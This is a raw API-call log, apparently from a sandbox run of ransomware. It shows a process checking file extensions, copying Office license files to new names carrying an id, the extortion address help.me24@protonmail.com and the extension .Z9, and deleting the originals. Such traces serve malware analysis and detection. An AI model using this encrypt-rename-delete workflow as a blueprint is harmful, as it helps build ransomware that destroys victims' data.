	[0183.697] lstrlenW (lpString=".doc") returned 4
	[0183.697] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.697] lstrlenW (lpString=".docx") returned 5
	[0183.697] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.697] lstrlenW (lpString=".pdf") returned 4
	[0183.697] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.697] lstrlenW (lpString=".xls") returned 4
	[0183.697] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.697] lstrlenW (lpString=".xlsx") returned 5
	[0183.697] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.697] lstrlenW (lpString=".ppt") returned 4
	[0183.697] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0183.697] lstrlenW (lpString=".zip") returned 4
	[0183.697] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.697] lstrlenW (lpString=".rar") returned 4
	[0183.697] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.697] lstrlenW (lpString=".bz2") returned 4
	[0183.697] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.697] lstrlenW (lpString=".7z") returned 3
	[0183.697] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0183.697] lstrlenW (lpString=".dbf") returned 4
	[0183.697] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0183.698] lstrlenW (lpString=".1cd") returned 4
	[0183.698] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0183.698] lstrlenW (lpString=".jpg") returned 4
	[0183.698] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0183.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0183.698] lstrlenW (lpString=".doc") returned 4
	[0183.698] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.698] lstrlenW (lpString=".docx") returned 5
	[0183.698] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.698] lstrlenW (lpString=".pdf") returned 4
	[0183.698] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.698] lstrlenW (lpString=".xls") returned 4
	[0183.698] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.698] lstrlenW (lpString=".xlsx") returned 5
	[0183.698] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.698] lstrlenW (lpString=".ppt") returned 4
	[0183.698] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0183.698] lstrlenW (lpString=".zip") returned 4
	[0183.698] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.698] lstrlenW (lpString=".rar") returned 4
	[0183.698] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.698] lstrlenW (lpString=".bz2") returned 4
	[0183.698] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.699] lstrlenW (lpString=".7z") returned 3
	[0183.699] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0183.699] lstrlenW (lpString=".dbf") returned 4
	[0183.699] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0183.699] lstrlenW (lpString=".1cd") returned 4
	[0183.699] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0183.699] lstrlenW (lpString=".jpg") returned 4
	[0183.699] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.699] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.699] lstrlenW (lpString="MondoR_OEM_Perp-pl.xrm-ms") returned 25
	[0183.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.700] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=10635) returned 1
	[0183.700] CloseHandle (hObject=0x36c) returned 1
	[0183.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 0x220
	[0183.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.701] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.701] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0183.702] GetLastError () returned 0x0
	[0183.702] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x298b, lpOverlapped=0x0) returned 1
	[0183.707] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2990, lpOverlapped=0x0) returned 1
	[0183.709] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.709] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x106, lpOverlapped=0x0) returned 1
	[0183.709] SetEndOfFile (hFile=0x4bc) returned 1
	[0183.709] CloseHandle (hObject=0x4bc) returned 1
	[0183.709] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.709] SetEndOfFile (hFile=0x36c) returned 1
	[0183.713] CloseHandle (hObject=0x36c) returned 1
	[0183.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 1
	[0183.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0183.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0183.715] lstrlenW (lpString=".doc") returned 4
	[0183.715] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.715] lstrlenW (lpString=".docx") returned 5
	[0183.715] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.715] lstrlenW (lpString=".pdf") returned 4
	[0183.715] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.715] lstrlenW (lpString=".xls") returned 4
	[0183.715] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.715] lstrlenW (lpString=".xlsx") returned 5
	[0183.715] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.715] lstrlenW (lpString=".ppt") returned 4
	[0183.715] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0183.715] lstrlenW (lpString=".zip") returned 4
	[0183.715] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.715] lstrlenW (lpString=".rar") returned 4
	[0183.715] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.715] lstrlenW (lpString=".bz2") returned 4
	[0183.715] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.715] lstrlenW (lpString=".7z") returned 3
	[0183.715] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0183.715] lstrlenW (lpString=".dbf") returned 4
	[0183.715] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0183.715] lstrlenW (lpString=".1cd") returned 4
	[0183.715] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0183.715] lstrlenW (lpString=".jpg") returned 4
	[0183.716] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0183.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0183.716] lstrlenW (lpString=".doc") returned 4
	[0183.716] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.716] lstrlenW (lpString=".docx") returned 5
	[0183.716] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.716] lstrlenW (lpString=".pdf") returned 4
	[0183.716] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.716] lstrlenW (lpString=".xls") returned 4
	[0183.716] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.716] lstrlenW (lpString=".xlsx") returned 5
	[0183.716] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.716] lstrlenW (lpString=".ppt") returned 4
	[0183.716] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0183.716] lstrlenW (lpString=".zip") returned 4
	[0183.716] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.716] lstrlenW (lpString=".rar") returned 4
	[0183.716] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.716] lstrlenW (lpString=".bz2") returned 4
	[0183.716] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.716] lstrlenW (lpString=".7z") returned 3
	[0183.716] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0183.716] lstrlenW (lpString=".dbf") returned 4
	[0183.716] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0183.717] lstrlenW (lpString=".1cd") returned 4
	[0183.717] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0183.717] lstrlenW (lpString=".jpg") returned 4
	[0183.717] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.717] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.717] lstrlenW (lpString="MondoR_OEM_Perp-ppd.xrm-ms") returned 26
	[0183.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.718] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=26464) returned 1
	[0183.718] CloseHandle (hObject=0x36c) returned 1
	[0183.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 0x220
	[0183.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.719] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.719] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0183.876] GetLastError () returned 0x0
	[0183.876] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x6760, lpOverlapped=0x0) returned 1
	[0183.878] WriteFile (in: hFile=0x538, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x6770, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x6770, lpOverlapped=0x0) returned 1
	[0183.880] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.880] WriteFile (in: hFile=0x538, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x108, lpOverlapped=0x0) returned 1
	[0183.880] SetEndOfFile (hFile=0x538) returned 1
	[0183.880] CloseHandle (hObject=0x538) returned 1
	[0183.880] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.880] SetEndOfFile (hFile=0x36c) returned 1
	[0183.883] CloseHandle (hObject=0x36c) returned 1
	[0183.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 1
	[0183.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0183.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0183.889] lstrlenW (lpString=".doc") returned 4
	[0183.889] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.889] lstrlenW (lpString=".docx") returned 5
	[0183.889] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.889] lstrlenW (lpString=".pdf") returned 4
	[0183.889] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.889] lstrlenW (lpString=".xls") returned 4
	[0183.889] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.889] lstrlenW (lpString=".xlsx") returned 5
	[0183.889] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.889] lstrlenW (lpString=".ppt") returned 4
	[0183.889] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0183.889] lstrlenW (lpString=".zip") returned 4
	[0183.889] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.889] lstrlenW (lpString=".rar") returned 4
	[0183.889] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.889] lstrlenW (lpString=".bz2") returned 4
	[0183.890] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.890] lstrlenW (lpString=".7z") returned 3
	[0183.890] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0183.890] lstrlenW (lpString=".dbf") returned 4
	[0183.890] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0183.890] lstrlenW (lpString=".1cd") returned 4
	[0183.890] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0183.890] lstrlenW (lpString=".jpg") returned 4
	[0183.890] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0183.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0183.890] lstrlenW (lpString=".doc") returned 4
	[0183.890] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.890] lstrlenW (lpString=".docx") returned 5
	[0183.890] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.890] lstrlenW (lpString=".pdf") returned 4
	[0183.890] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.890] lstrlenW (lpString=".xls") returned 4
	[0183.890] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.890] lstrlenW (lpString=".xlsx") returned 5
	[0183.890] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.890] lstrlenW (lpString=".ppt") returned 4
	[0183.890] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0183.890] lstrlenW (lpString=".zip") returned 4
	[0183.890] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.890] lstrlenW (lpString=".rar") returned 4
	[0183.890] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.890] lstrlenW (lpString=".bz2") returned 4
	[0183.890] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.890] lstrlenW (lpString=".7z") returned 3
	[0183.890] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0183.891] lstrlenW (lpString=".dbf") returned 4
	[0183.891] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0183.891] lstrlenW (lpString=".1cd") returned 4
	[0183.891] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0183.891] lstrlenW (lpString=".jpg") returned 4
	[0183.891] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.891] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.891] lstrlenW (lpString="MondoR_Retail-ppd.xrm-ms") returned 24
	[0183.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.892] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=26462) returned 1
	[0183.892] CloseHandle (hObject=0x36c) returned 1
	[0183.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 0x220
	[0183.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.893] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.893] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0183.894] GetLastError () returned 0x0
	[0183.894] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x675e, lpOverlapped=0x0) returned 1
	[0183.896] WriteFile (in: hFile=0x538, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x6760, lpOverlapped=0x0) returned 1
	[0183.898] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.898] WriteFile (in: hFile=0x538, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x104, lpOverlapped=0x0) returned 1
	[0183.898] SetEndOfFile (hFile=0x538) returned 1
	[0183.898] CloseHandle (hObject=0x538) returned 1
	[0183.898] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
